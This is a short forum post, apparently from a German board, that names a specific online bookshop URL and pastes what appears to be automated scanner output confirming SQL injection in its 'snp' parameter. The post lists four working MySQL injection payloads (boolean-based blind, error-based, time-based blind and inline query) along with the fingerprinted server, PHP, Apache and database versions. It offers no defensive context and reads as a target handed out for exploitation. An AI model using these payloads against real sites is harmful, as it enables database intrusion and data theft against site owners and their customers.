Keine Antworten in diesem Thema

[Ch!ller]

http://www.deutschesfachbuch.de/UNIX_Das_umfassende_Handbuch_9783836210713.html?snp=5



Parameter: snp (GET)

Type: boolean-based blind

Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)

Payload: snp=5 RLIKE (SELECT (CASE WHEN (5728=5728) THEN 5 ELSE 0x28 END))



Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: snp=5 AND (SELECT 6022 FROM(SELECT COUNT(*),CONCAT(0x716b6a7671,(SELECT (CASE WHEN (6022=6022) THEN 1 ELSE 0 END)),0x7176706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: snp=5 AND SLEEP(5)



Type: inline query

Title: MySQL inline queries

Payload: snp=(SELECT CONCAT(0x716b6a7671,(SELECT (CASE WHEN (8881=8881) THEN 1 ELSE 0 END)),0x7176706b71))

---

web server operating system: Linux Fedora 17 (Beefy)

web application technology: PHP 5.3.20, Apache 2.2.22

back-end DBMS: MySQL 5.0